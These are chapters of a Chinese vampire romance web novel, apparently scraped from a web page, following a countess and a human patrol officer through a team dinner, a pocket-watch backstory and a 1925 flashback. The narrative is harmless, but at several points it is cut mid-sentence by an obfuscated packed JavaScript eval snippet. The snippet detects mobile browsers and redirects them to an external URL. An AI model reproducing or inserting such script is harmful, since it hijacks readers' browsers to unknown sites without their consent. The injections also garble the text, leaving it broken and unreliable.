正吃着,徐让突然清了清嗓子说:“下面我简单说两句。” 没人顾得上理他,手里、口中动作不停。 “——这周六晚上有联谊,大家踊跃报名。”果真是简单说两句。 一石惊起千层浪,所有人都凝滞住了。大家抗议地“啊”了两声,从第二声转到了第四声。 “啊什么啊?知道兄弟部门怎么叫我们的?孤寡队!丢不丢人!在座英雄好汉,全都是单身汉。”徐让目光一一扫过众人,“上面给了我们十个指标去联谊,有自愿报名的没有?” 大家把头埋得很低,丝毫不敢与他有目光交汇。 奥黛喝着奶茶问宁白:“什么是联谊?” “就是很多人在一块儿相亲。”宁白压低声音解释。 听见有人说话,徐让立刻说:“宁白,我写你名字了啊。” 宁白如临大敌:“别,我编制又不在夜游队。” 徐让瞪她:“那你来我们夜游队混吃混喝!” 门帘被掀开,黎信步径直走了进来:“谁混吃混喝?” 见他来了,队员们的目光紧紧追随,可怜兮兮地望着他,像是见到了亲爹妈。 黎信步看了眼奥黛,又盯着她右边的位置。 可惜余米正忙着扮可怜,并没有理解他的意思。 徐让从后头挪了把椅子,拉到自己边上,“站那干嘛,快坐过来。” 黎信步长腿带风,目不斜视地走了过去。 “正说联谊的事呢,”徐让继续对宁白说:“我不管,你吃了我们夜游队的小龙虾,就要替我们夜游队参加联谊。” 宁白问:“你怎么自己不去?” “你知道我不去?”徐让从口袋里掏出联谊报名表,展开一看,第一个就是他的名字:“我巴不得去!这恋爱我是非谈不可了!” “……”宁白顿时哑口无言。差点忘记徐让有多恨嫁了,领导婚礼抢到的手捧花都要带回家养。 他们这工作,平常忙得根本就没时间谈恋爱,更认识不了女孩子。凑不到十个人,夜游队的联谊资格可能都会被取消——往年就是这样的,所以他徐让今年高低要凑十个人不可。 鹰隼一样的目光越过小龙虾山,恶魔的低语吟唱了余米的名字:“你礼拜六没事吧?” 余米紧张地抠着圆桌边缘的塑料薄膜:“那个,徐队,我有网恋对象了。” 恶魔不高兴地往他旁边看去,咬着牙微笑:“鹿露。你也有网恋对象吗?” “……没有。” “很好——” “但是我有crush了!” 恶魔“啧”了一声,摘掉笔盖,写下一个名字。 “别呀……”鹿露痛苦地捂着脸。 徐让放下笔,黎信步立刻夺过那张表,面色不虞:“写我名字干嘛?” “不能写吗?难道你也有crush?” “……”黎信步扫他一眼,淡淡道:“不能有吗?” 徐让看了黎信步三秒,噗地笑了:“我把话放这,你要是有,我以后小龙虾只吃壳。” 黎信步冷笑一声:“你最好是。” 宁白微笑,她又想嘿了。 吃完了夜宵,老板娘一人发了一块月饼,不知是不是格外喜欢奥黛的原因,特意送了她两块。 奥黛连拒绝都没说出口,老板娘就去忙了。于是她只好捏着两块月饼,走在人群的后方。 刚出门,大家抬头看着月亮,发出惊叹声。 十六的月亮格外圆、格外亮,因为夜游队的工作性质和时间,他们其实很少有机会能像这样慢悠悠地赏月。月下,谁也没有着急离开,一群人就这样静默地仰着头,共看一轮圆月。 圆月下,奥黛也闭上眼睛,伸出手来,向月亮进行祷告。 祷告完成,睁开眼,对上黎信步沉沉的目光。 他朝她走来,气味馥郁,需要一个有自制力的人很小心、很小心地抵抗。奥黛舌尖抵着尖牙,微不可见地皱了一下眉头。 黎信步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我怎么可能记岔,我奶奶给我说的就是这个版本。” “那打赌,赌一百块。” “赌就赌,两百块。” 两人不服气地开始查手机。 奥黛问:“不死药真的就只有一颗么?” 这一点徐让和宁白倒是达成了共识,齐声道:“是的。” “那么,”奥黛轻轻地说:“最多百年,她的丈夫就会老死,她还怎么下凡团聚?” 大家一愣,说不出话来。 一瞬间,奥黛的肩胛骨变得有些疼痒难耐。那些曾经烙刻在她记忆深处的歇斯底里,像笼罩在她肩头的月光。 伊芙琳女爵最后也是在这样的满月月光里离开的。 是她递的刀。 双手捂住薄莎的眼睛,然后便感觉到一股迫不及待、如释重负的血液喷溅在了她的手背。 她知道,如果不能和丈夫永生,那么伊芙琳女爵一定会找办法去死。 总觉得,伊芙琳女爵和嫦娥会是一类人。 宁白想了想,问奥黛:“假如你是嫦娥,你有两颗不死药,会和丈夫一起飞升吗?” 出乎意料的,她答得很干脆:“不会。” “永生,不死,其实很痛苦。” 她这样说道。 周围的队员们都笑着说她在凡尔赛。 只有黎信步没有笑,他凝望着戒指,不知道在想什么。 时间不早了,走出巷口,大家各回各家。 这里离奥黛住的地方不算远,走一走就能到。 “我自己能回去。”她说。 黎信步却坚持:“我送你吧。” 刚想再次拒绝,却被黎信步一把拽进了怀里,混杂着潮湿的香甜立刻笼罩住了她。 夜晚的洒水车唱着歌驶来,飞溅来的水花都被黎信步格挡在了她的身外,然后,她听见她的头顶传来很闷的一声叹息。 洒水车离开以后,他的后背全湿了,他放开她,带着一身水汽站得离她稍远了些,漆黑的眼睛也像被淋湿了似的。 两人一前一后地同行,月光下,彼此的表情都有些隐忍。 闻着闷在纱布里的香甜气息,奥黛的眸色一点一点加深,尖牙也一点一点长出来,抵住了下唇。 黑暗中,有同样被这股血气吸引的血族潜伏在黑暗的拐角,伺机而动。 被奥黛用眼神无声警告,拐角处,残影像退潮一样消失。 蔷薇戒指一亮一熄,丝毫没有惊动到它此时的主人。 奥黛在心里反复提醒自己,她的奴隶是一个脆弱人类,是一个被咬断脖子就会毙命、被多吸鲜血就会死亡的、有着自己的社交和爱好的人类。 思于此,她突然停下脚步,问他:“联谊,你会去么?” 黎信步有些意外,反问她:“那你希望我去吗?” 奥黛一顿,她并不是一个会过多干涉奴隶的家主,于是说:“为什么不呢?” 黎信步的眼里闪过一抹痛色,他喉结一滚,快步追上来,却听见奥黛说:“就送到这里吧。” “为什么?”他眉头紧锁。 “我不希望有人离我太近。”她冷冷说。 深吸一口气,黎信步缠绕绷带的掌心无声握紧成拳,克制又隐忍。 半晌,他说:“如果你不希望有人离你太近,我可以退一点。” 铺天盖地的香甜味道像海潮一样朝她汇去。 他往后退了一小步,漆黑的眼眸却紧锁不放:“这样,够了吗?” 18. 怀表 两人一前一后地走着。 谁都没再说话,比夜晚还要沉寂。 一层一层的黑影蛰伏在黑暗之中接连窥探,被奥黛抬眼一扫,只得不情不愿地离开。 这些屈从自己欲望的低阶血族,她虽然鄙夷不屑,但却觉得自己好像其实与他们也并没有什么区别。 回到了别墅,她打开门,面无表情地说:“我到了。” 黎信步站在门口,一只手插进了口袋,一双黑白分明的眼睛沉默地盯着她,总有一种放任她进门以后,就再也见不到她的预感。 今夜发生了太多事。 她就像扑面而来的浪,一瞬间将他卷进了她的广阔海域,又在下一秒钟把他推离出去。 明明他还在回味掌心里的一点濡湿,而她却已经要对他关门了。 阴影渐渐袭来,门页从左至右,像翻书一样慢慢遮住了他的脸庞。 然而就在这门闭合的前一秒,他忽然抬起右手,死死抓住了门沿,白色的纱布因他掌心发力而渗出了鲜红的血迹,他却视而不见。 乌黑的瞳仁里,只盛得下她微微颤动的血眸。 门被他猛地打开。 拂掠了清桂的穿堂风,透过他吹向她,黑浪翻卷,满室飘香。 “奥黛。” 他低哑的嗓音,轻轻地紧紧地咬住她的名字。 不甘心就这样放任她潜入深海。 红瞳竖立,她离他的纱布很近,几乎一偏头就能咬到。 眸光微转,他离她的黑发很近,几乎一低头就能吻上。 “怎么?”奥黛眯着眼往后退了一步,指节抵住发痒的尖牙,屏住了呼吸。 不让空气里弥散的甜血味有机可乘。 黎信步定定地看着她,郑重地朝她迈近了一步。 高大的身影落在了她的身上,馥郁的味道更加诱人了。 眼见他抬起了手,伸向自己的头顶,刚要躲开,却听他压低声音说:“别动。” 话里好像施加了什么魔法,一时间她竟真的任由那只为她受伤、替她治伤的手落到了自己的头顶,一动也不动。 竖瞳慢慢扩圆,忍不住往上抬,时间在她的眼里忽然流淌得十分缓慢,他的手像一朵漂浮的绒花一样,看着很近了,可是过了很久才轻轻地落下。 倒是抽离得很快,几乎是一瞬间,听到他说:“好了。” 摊开手心,血色的纱布上,静躺着两瓣乳白的银桂。 她刚要吹掉,他立刻合拢了手,收了回去。 “奥黛。” 他看着她,认真地说:“明天见。” 说完,往后退了两步,主动替她关上了门。 把拒绝挡在了门内。 门关,风止。 十月的桂子坏心眼地浮动着暗香,明明已经被摘掉,却还在搅弄着人的心绪。 直到感知到人已经走远,她这才敢放纵自己深嗅。 他的味道,沾了她满身。她久久伫立在门口,竟有些无所适从。 黎信步揣着那两瓣银桂回了家。 未受伤的那只手小心翼翼将它们拢入手心,白嫩的小花睡在他微微干燥的掌心,与薄茧为邻,即便再怎么小心,花瓣上还是沾上了他的血迹,白嫩的颜色被染得鲜红。 很快,他熟练地用滴胶将它们珍而重之地封存了,然后捧着模具,识别了面容后来到了书房。 与其说这里是书房,倒不如说更像是专业的展柜陈设室。 无主灯的设计,空间看起来十分柔和,左侧放置着材料柜,右侧放置着玻璃展示架,架上陈设着各类盒子,不像是收到的,更像是未送出的。正中心的位置放着一个更大的展柜。黎信步把滴胶磨具放在其中一面展示架中,然后往中心处的大展柜走去。 出乎意料的,这样大的恒温恒湿展柜里并没有放什么了不得的、叫得上名号的大型古玩珍宝,而是只放了一只孤零零的怀表。 打开的怀表像八音盒里的舞者,姿态优雅地在托盘上慢转。展柜的内部还藏着一条细小的灯带,站在黎信步的位置,足以看清怀表的每一处细节。 半掌大的怀表,看上去很精致,外框相嵌着珍珠钻石,表盘底盖是用珐琅烧制而成,内嵌一张黑白色的照片。 五官精致立体的少女长发微盘,颈戴一条珍珠项链,身着极富光泽的感绸质长裙,一捧蔷薇花束绽放在她的颈侧。照片就定格在她低头嗅花、漫不经心地向镜头一瞥时。 黎信步仍记得自己在九死一生时,捡到这只怀表后,被照片上的人轻描淡写打量时的悸动。 无论再看多少遍,都会悸动。 因为恐龙血的缘故,他的整个童年都不大安稳,稍有磕碰流血,全家都会草木皆兵。一旦听说他受伤,父亲会立刻放下公司所有的事,专程赶回来;母亲也会向单位请假,陪在他的身边;保镖们更是严阵以待,严防死守,生怕他被血族趁虚而入。 也正是因为如此,他的童年和其他人的童年不大一样。坚固的高楼,密闭的空间,四面的银墙,那是他绝对安全的领域。 他问母亲,为什么每次受伤,那些人都会冲出来伤害他? 母亲对他说,因为他们是其他物种,现在还没学会怎么融入人类社会,我们多给他们一些时间吧。 说这话时,母亲一边疲惫地按揉着太阳穴,一边处理着积攒遗留的工作。于是黎信步把想要和同学出去玩的话默默咽下。 青春期开始萌芽,男孩女孩都开始有自己的小秘密和独立的空间了,而他严格的家教像一道结界,把他隔离在同学们之外,整个年级都知道他需要在太阳下山前回家,调皮的男生一见他就开始揶揄,一个个外号轮番叫着。 他被叫得最多的外号是“信步瑞拉”。因为大家觉得太阳一黑就必须要回家的他,简直比灰姑娘辛德瑞拉还要可怜。 放学后,男生三五成群地去打球,他不能。 周末和同学玩,不管尽没尽兴,五点一过,就会被保镖带回家。 甚至就连晚自习,他也从来没有参加过。 十三岁的某一天,班上都在讨论天琴座流星雨大爆发,相约一起观看。 是夜,叛逆期的黎信步骑了辆山地车,径直蹬往森林公园。 现在想来,那场流星雨的确璀璨又梦幻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044792|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——如果不出现那几只红眼睛的吸血鬼就更好了。 他不小心撞在一块岩石上,眉骨被磕出了血。等到再抬起头时,一群吸血鬼把他团团围住,露出了森白的尖牙,毫无理智地朝他扑来。 好不容易从他们的獠牙下逃脱,刚想跑向树林,忽然顿住了。 树林在动。 明灭的流星炫光下,远方那些他以为是树的影子,竟然是笔直站立着的吸血鬼,一瞬间,他们红眸像火光一样点亮,身体朝他飞移过来。 想要掠食他。 冰冷的绝望爬上脊背,正当他以为自己要死在这里的时候,一块怀表如神兵天降般落到了他的掌心。 他下意识地握紧双拳以作抵挡,正要扑向他的吸血鬼们突然一滞,谨慎地往后退了几步,像忍着极大的痛苦似的,深红的眼睛死死盯着他手里的怀表。 ——他们怕这只怀表? 为了验证自己的猜想,黎信步突然把怀表拿到一只吸血鬼面前,对方飞快地窜走了。 怀表所到之处,吸血鬼们都抱头乱窜。 黎信步觉得离谱。 他们竟然怕这块表? 拇指顶开表盖,刹那间他被强势的美貌直击心魄。 迅速合上,他若无其事地抬头看向天空,耳根红透。 最后一颗流星正飞快地拖着尾巴离开深蓝的天幕,隔着一百公里的距离击中了他的心。 他的心在剧烈跳动,如感受到什么召唤似的,呼之欲出。 这只怀表的主人是谁? 为什么吸血鬼会害怕她? 又为什么会来到他的身边? 一串问题环绕着他,百思不得其解。 他想要找到她。 对她道一句谢。 十三岁的黎信步这样想。 没想到这一找,就找了十三年。 他相信怀表主人与吸血鬼之间必定存在着某种联系,于是他报国防大学,考特族局,进夜游队,保密权限一升再升,或许某种意义上来说,他离她更近了。 却,还不够。 “里面的黑白照片看起来很有年头了,你有没有想过,要是她已经死了怎么办?”在展柜前,母亲凝望着怀表,温声问他。 “我会找到她的墓地,每年都送她一捧蔷薇花。” 十七岁的黎信步这样说。 “如果她是吸血鬼呢?” 他认真地思考了很久,忽地笑了,露出了两颗尖尖的虎牙,和一边浅浅的酒窝。 “我想被她初拥。” 二十一岁的黎信步这样说。 “你有没有想过,她要是不想初拥你呢?” 深邃的目光里顿时闪过一抹痛色,很快被冷峻的神情掩盖住了。他低下头,看上去坚定而又倔强。 “那我也想留在她的身边。直到我死。” 二十六岁的黎信步这样说。 人性总是难免贪卑劣婪。 十三年前,他曾向流星许愿,想要向她道一句谢。 而现在,他却想拥有她。 不。 他想,被她拥有。 19. 约定 奥黛睡得不太好。 她梦见了西拉斯,和他的魔法阵。 浅滩上,她不能动弹,在强光的直射下,走马灯像过场的动画一样,一帧一帧在她的梦境里划过。 在血族,广为流传着这样一个说法,濒死前看到的人,就是你这一生最在意的人。 于是她看见了父亲,母亲,还有薄莎。 可是还有一个模糊的身影,怎么也看不清。 到底是谁? 头顶着一轮巨日,灼痛的光芒将她束缚在了原地。远处,一艘银色的快艇破浪而来,站在巨浪中央的那人坚定赤忱地朝她伸出了手。眼看着快艇离巨大的礁石越来越近,他却丝毫没有转向避开的打算。 好像他就是为她而来,如果接不到她,那他宁可触礁撞沉。 就在快艇即将触礁的前一秒,她上了他的船。 “砰”一声,剧烈的心跳与震爆弹一同轰鸣。 直到松开他的手,她才兴奋而又不安地意识到,那声排山倒海的心跳并不来自于他。 而是,她的。 这时她终于看清了。 走马灯里最后一个人影,是黎信步。 旋即,她睁开眼睛,渐渐察觉到,她原本引以为傲的教养正在崩坍,自鸣得意的自控正在失控。 为了防止自己变成一个没有理智、只会饮血的低级畜生,天黑时,奥黛下定决心要离黎信步远一点。 推开门,却见到黎信步就站在门口的桂花树下。 白色的银桂像细雪一样纷纷扬扬飘落,他仰头,抿了抿略带苍白的唇,虚拢着掌心去接。见她来了,立刻合起掌心,将接来的银桂放进口袋里。 什么意思? 她难道还会抢他的花么? 奥黛一语不发地路过他和他的机车,径直往外走,全当没有看到他。 黎信步敏锐底快步跟上她,问:“是我做错了什么吗?” “你没错。”她顿了一下说:“是我想离你远一点。” 对方明显愣住了,好一会儿问她:“为什么?” 难道要她堂堂一个女爵坦诚自己的心思有多么恶劣、向他诉说自己最近变得有多么不堪么? ——她做不到! 她只道:“我想弄明白一件事。” 他追问:“什么事?” 奥黛没说话,继续往前走。 他在她身后问:“要多远?” 奥黛:“嗯?” 黎信步说:“远一点是多远?” “……”要很努力地集中精力,才能暂时屏蔽掉那股香甜的味道。 奥黛回过头,看着他的眼睛,缓缓道:“我希望你尽量不要出现在我的视线范围内,也不要和我说话,干扰我的判断。” 那双浓墨一样黑沉的眼睛微微一颤,他僵在了原地,困惑地问:“什么判断?” “和你没关系。” 话都说到这个份上了,她想,人类总该知难而退吧。 她需要一个不被打扰的环境,静下心来想一想,自己为何总是在他面前失态。 他的血液为何会轻而易举地摧毁她构建了百年的自制力。 以及,她需要弄明白,自己沉寂了三百余年的心脏为何会突然跳动。 果不其然,黎信步沉默了。 她看见他缠绕着绷带的那一只手握成了拳,指关节处的凸起微微泛白,往上,作训服袖管半挽,绷紧的手臂肌肉里淡淡的青筋若隐若现。 他也像是在竭力隐忍着什么。 半晌,他兀自走向她,黑眸里似有暗流涌动:“女爵,是不是有点太霸道了?” “我不同意。”他说。 话音刚落,他手腕内侧、比巴布贴纸一样的印记传来一点灼痛——他们的奴隶契约,让他不能对她说不。 这是主人对于不听话奴隶的一点警告。 可是。 他为什么还—— 奥黛冰冷地看着不远处朝她走来的奴隶,不悦地蹙起了眉头。 “不。” 看见他手臂痉挛。 “不。” 看见他浑身发颤。 “我、不、同、意。” 看见他仍走向她。 每走一步,她都微微加重了一点惩罚,可他不躲不避,坚定不移,几米远的路,他走得分外艰难。 终于,他拖着沉重的脚步,来到了她的身边。 直勾勾地看着她,说:“我可以暂时不和你说话,但是,至少让我能看见你。” 从来说一不二的女爵,还第一次被人这样忤逆。 她有些生气。 可是还能怎样惩罚他? 看着他发红的手臂与绷带,她又觉得心烦。 “……可以。”她收了惩罚。 答应他,也没什么大不了的。 紧接着就听他问:“多久能够结束?” 她说:“到时候,我会告诉你的。” “那么,”黎信步定定地望了她一会儿:“让我来定开始的时间吧。” “——从我们踏入特族局开始生效。” “可以。” 再次坐上黎信步的机车,两侧的灯光不情不愿地以缓慢速度向后撤离,清风微微扬起了她的裙摆,扎染了蓝白色花纹的裙尾在车水马龙间穿梭,染上了十月的桂花香。 星辉斑斓下,霓虹灯牌中,远远望去,黎信步和奥黛像是撞开了层层夜障,一往无前地驶行在蓝天白云铺陈的公路上,平直长路,像是没有尽头。 如果真的没有尽头就好了。 ——不知道为什么,奥黛觉得他骑得要比之前快一些,几乎就是一瞬间,他们已经到特族局门口了。 白色短靴踏进了特族局,约定从此刻开始生效。 谁知,黎信步却叫住了她。 叫她:“奴隶主。” 奥黛不满地回过头,像是用眼神责怪他在违背约定。 她都已经进门了,他怎么还找她讲话? 黎信步说:“不是说好‘我们’走进去才生效吗。我还没进去呢。” 奥黛迟疑地看了眼他离门口还有几厘米远的鞋尖:“……” 他对奥黛说:“过来一点。” 一副有话要说的样子。 奥黛动了一小步,歪头看着他,不知道他在打什么主意。 他说:“再过来一点吧。” 奥黛索性朝他走去。 他注视着她,伸手从口袋里拿出了一只丝绒小盒子,微微挪开了些视线,递给了她,说:“送你。” 打开一看,是一对精巧的环状玉耳坠,设计成了她钟爱的长款,玉石通透幽蓝,她看一眼就喜欢。 “为什么送给我?” “就当是奴隶在贿赂奴隶主吧,”黎信步看着她耳垂被银针扎出的血痕,低声说:“贿赂奴隶主把结束时间调快一点。” 奥黛没有应他,只是摘掉了耳朵上的银色长流苏。 戴上了新的耳坠,铂金细链的末端挂着蓝水翡翠平安扣,像两颗水滴在她的锁骨间似落不落。 她有些满意地拨弄了一下玉坠,觉得它和今天的裙子很搭。 “这叫什么?” 她几乎没有戴过玉质的饰品,第一次尝试,觉得不错。 “平安扣。”黎信步有些失神地望着她,她很白,被玉石一衬就更白了,他低下头重复说:“它叫平安扣,希望它能保佑你平安快乐。” 奥黛轻轻哼了一声,摸着耳垂往里走。 又听黎信步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049972|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我临时被安排去北欧出差,下周才能回来。” 奥黛脚步没停,只是拨动一下平安扣,代表她知道了。 一路往里走,通过面部识别,打开了重重闸机,耳朵却格外留意着身后的动静。 没有听见对方踏入门内的声音,而是在她转至拐角以后,听见对方的脚步声走出了特族局,取出了放在保卫室的行李箱,咕噜咕噜地推着轮子,朝马路对面走去。 所以,他现在就要去北欧出差了么? 那为什么还要专程来接她一趟? 她的脚步仍旧没有停留。 出了地下四层的电梯,门上的屏幕殷勤地亮了起来:“欢迎您,海尔珀林女爵顾问。” 路过的同事们也和她打起了招呼: “女爵晚上好。” “今天的OOTD好漂亮呀。” “耳坠很衬你呢女爵。” “报!你喜欢的奶茶出新品了,待会我们一起品鉴一下?” 奥黛一一颔首,回到了自己的工位,以饱满的热情投入到了工作当中—— 足足三分钟。 三分钟以后,她肉眼可见地憔悴了起来,饱满的工作热情已然熄灭。 恹恹地揉了一下眉心,她对面前的徐让道:“没听懂,你再说一遍。” “就是让你从你的角度撰写一下昨天的作战报告。”徐让一气呵成道:“写材料的时候一定要注意格式——标题2号方正小标宋简体、正文3号仿宋GB2312、上下页边距3厘米、左右页边距2.5厘米……” “写材料。”奥黛努力听了两遍才明白,徐让是让她写材料。 让她一个方块字都不认识的外国吸血鬼写材料?! 她指着自己的鼻子问:“我?” “不要妄自菲薄啊女爵!知道我们夜游队的口号是什么吗——”徐让伸手让队员们抢答。 鹿露问:“欢↘迎↗光↘临↗?” 余米问:“早↘日↗脱↘单↗?” 徐让:“……” “都跟谁学的!”他纠正道:“是‘不能说不行’!” “不行。”奥黛烦躁地露出尖牙,瞪他:“写不出来。” “不能不行哦。”徐让温柔地笑了,幽幽道:“鬼来了我们夜游队都得写两篇材料再走。” ……上班好烦。 这顾问她不想当了。 宁白来到办公室时,看见的就是奥黛长发凌乱,痛苦地瘫在转椅上,面朝天花板,两只手各派出一根食指在键盘上轻戳的画面。 以为她在撰写什么惊天巨作,走过去一看,作战报告就写出了四个字。 是的,重复了一下标题。 甚至没想到加上她大名水一下字数。 只见奥黛噌一声站起来,把三品管戳进奶茶里,猛吸了一口平复心情,沉声道:“这根本不是人干的活!鬼也不该干这个!” 办公室里赞同地小声地鼓起了掌来。 “行了,别写了,姐妹我救你出水火。”她拉着奥黛的手,走到了徐让工位前,“她受伤了,我帮她看看。” 果不其然,徐让立刻就让她好好休息。 随宁白来到了地下五层,见宁白开始洗手消毒,一副要为她上药的样子,忙说:“不用了吧,我又没真受伤。” “讳疾忌医可不好啊女爵。”宁白拧开一罐红色的药膏,熟悉的香甜味道一下就充斥在了室内,“有人下午往我的实验室里捐了400cc血,叮嘱我研制恐龙血药给你翅膀治伤。” 她一怔。 宁白看着奥黛叹了口气:“你也劝劝那位好心的献血人吧,最近他失血的频率太高,再这样下去就要贫血了。” 奥黛捏着冰凉的耳坠,心里很重地又跳了一下。 20. 上瘾 宁白说:“他不让我告诉你,不过我想你应该能闻出来吧。” “嗯。”奥黛很轻地应了一声。这样独一无二的味道,她当然知道是谁。 莫名的,她的心脏像是被什么紧紧地攥了一下,本就冷凝的血液泛着细密的疼意。回想起几个小时前,她与他划清界限时他苍白的唇色,以及接受她惩罚时颤动的身躯,满室馥郁的香味竟然甜得有些发苦。 宁白滑着诊疗椅朝她靠近,准备开始上药。奥黛微敛目光,避开道:“我不想用他的血。” “为什么?” 血红的眸色,一时深一时浅,密闭的室内,浓郁的甜味变得更浓郁。 像被环抱,被侵占,稍不留神,就会沦陷。 半晌,握拳隐忍的奥黛转身打开了门,散开满室的味道,轻声说:“他的血总让我心神不宁。也许我对他的血过敏了。” “过敏?”宁白表情一下严肃了起来,她立刻拧紧了药膏盖,从抽屉里拿出了本子记录,仔细询问道:“是什么样的感觉?” 什么样的感觉? 奥黛说不上来,只知道自己闻到这样的味道时,会变得格外地像吸血鬼。 会兴奋,失惑,放纵,渴念。 ——且程度一次比一次加深。 分明,第一次闻到他血液时,只觉得不过如此。而现在再闻到他的血液,要全神贯注,才能避免失态。 想把他推远,越远越好。 又想把他拉近,越近越好,最好锁在身边。 站在门口,她惘然地开口:“就像是罂|粟花,艳丽妖冶,却让人不知不觉间沉溺上瘾。” 她的眼神露出一丝困惑:“为什么,我明明只触碰到一滴血,却想要得到他整个人?” 宁白从摊开的本子里抬起头来,张着嘴半天没合上。 她转着笔确认道:“……你是说,你对他上瘾了?” 奥黛飞快地纠正:“是对他的血。” 宁白仔细地观察着她的表情,换了一种方式问道:“那你有没有想过,为什么你只会对他——他的血上瘾呢?” “他是甜血人。”奥黛不假思索。 沉思片刻,宁白又问:“那你之前还接触过其他甜血人吗?” “嗯。” “什么时候?” “1925年。” “……”宁白讶异道:“你是说什么时候?” 奥黛笃定道:“1925年的4月5日。在坎伯利。” 不会有错。 毕竟那一天,她决定去死。 流畅地签署完最后一份有关于遗嘱的文件,胡桃木的长桌上,她右手撑着脸,左手无意识地把玩着手里的怀表。那只带有她肖像的钻石怀表,哒咔一声被打开,哒咔一声被关闭,声音清脆动听,甚至透露着几分轻松。 看着秒针缓慢地推进着自己的死亡进程,她的嘴角甚至噙着一抹笑:“比赛什么时候开始?” “还有半个小时。”长桌的另一边,艾克的表情十分凝重,他抱着仿佛有千钧重的文件,哽声劝道:“您要不要再考虑一下?薄莎小姐她也不希望您——” “她说她现在很幸福,不是么?” 哒咔一声,怀表最后一次被她合上。奥黛推开椅子,穿上黑色皮衣,戴上皮质手套,随意将卷发拢至肩膀一侧,踩着亮漆皮靴往外走。 走至门口,她回头对艾克笑了一下,语气轻快:“我已经没有其他的心愿了,让我离开吧。” 像父亲一样死去,这是她很早以前的计划。因为薄莎的原因,一直都无法被施行。 她不想像伊芙琳女爵那样,丢下亲人不顾,那么轻易地了断自己。因为她无法想象,一个人生活在世界上的薄莎,该有多么孤独。 于是计划被一拖再拖。 直到不久前,与她相依为命的妹妹告诉她,遇到了一个有趣的人,打算在这个飘雪的海岛之城安定下来。 “我现在好像,有一点幸福呀。”她听见薄莎在电话那头笑着说。 光是听她这么说,都替她感到幸福。 她们俩,总该幸福一个。 那么,身为薄莎的姐姐,她可以离开了。 于是带着一丝隐秘的解脱和卑鄙的轻松,她参加了坎伯利这场夜间摩托车赛,决定在赛后去拥抱父亲所向往的阳光。 打开门,走廊上折射出明亮而华丽的水晶灯光芒。 一阵邪风刮来,水晶晃动,光斑像雨点一样交错滴落在深红色的地毯上,屋外传来了嘈杂的声音。 许多吸血鬼都涌到了这栋休息室的楼下,与他们同至的,还有一抹清淡的甜香。 艾克有些失态地跟了出来,他闭着眼睛,一副忍耐到极点的样子。一向被打理得精致的燕尾服罕见地出现了几缕皱痕,白色的手套紧紧握住门把手,一绺金发被冷汗打湿,紧贴在额前。 “女爵,是甜血人类。”他往后一捋头发,咬紧了尖牙,几乎是从牙缝里挤出了这几个字。 转眼间,奥黛来到了楼下,踩着最末端的几节楼梯,居高临下地看着把人类女孩围堵在墙角的低阶吸血鬼——他们都不体面地露出了獠牙与尖甲,看上去有些恶心。 和畜生一样。 高阶吸血鬼的威压轰然罚下,让他们不得不臣服。 她抬了抬指,就像往门外扔了块肉,饿狗一样的吸血鬼们争先恐后地朝外头扑去,很快没了踪影。 走到了墙角,甜血女孩忍不住地瑟缩了一下,抓紧了手臂两侧长条状的褴褛布料,可怜又无助。 这还是奥黛第一次见到甜血人。 她是一个亚裔小女孩儿,瘦得像是可以见到骨头,看起来很小,不知道有没有十岁。她的衣衫破烂不堪,黑发像枯草一样野蛮生长,浑身血迹斑斑,颈侧、手臂、肩头留下了不少吸血鬼啃噬后的血洞疤痕,有的是新长的,有的是旧的,看得出她经历了很多场死里逃生。 见她走来,小女孩儿发着抖往后退了一步,不着鞋袜的脚跟抵着墙根,红肿的脚趾不安地缩了起来。 一滴眼泪从跌落在冰凉的地板上,小女孩儿惶恐地说:“不要吃我……不要吃我……” 奥黛脱下了皮衣,遮盖在了她的肩上:“很想活下去?” 小女孩儿抬起头来,一双大大的黑葡萄似的眼睛像被洗过一样明亮干净,纤细的长睫用力颤抖,她重重地点了一下头:“想的。” 奥黛一嗤,可真有意思。 她想死,而有人却拼了命想要活下去。 不过既然这是她生命里的最后一天,那么任性叛逆一点又有什么关系? 低头拭去对方脸上的黑灰色的泪痕,她说:“伸手。” 对方乖乖照做,一双脏兮兮的、遍布着细小伤口掌心缓缓摊开,怯生生地朝她伸了过去。 只见奥黛咬破自己的手指,把带有足以震慑中低阶吸血鬼的、海尔珀林女爵的力量涂抹在了怀表上,放到了女孩儿的手中。 “那就好好活下去吧。” 说完,她头也不回地走向大门外。 “您的衣服!”小女孩在她身后喊道。 “不用了。”她脚步不停。 “我,我会清理干净还给您的!”小女孩大声说。 奥黛没再说话,跑向自由解脱的风。 风中,她骑着摩托车一骑绝尘,遥遥领先。 月下,阴暗长蛇一样的赛道延伸向漆黑的远方,而她知道,自己正驶向光明。 “其他人的恐龙血也会让你上瘾、让你心神不宁吗?” 她听见了宁白的声音。 良久,她从黑暗与光明的阴影里回过神来,“不。” 那女孩儿的血液虽然可以吸引其他吸血鬼,却并不足以让她上瘾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 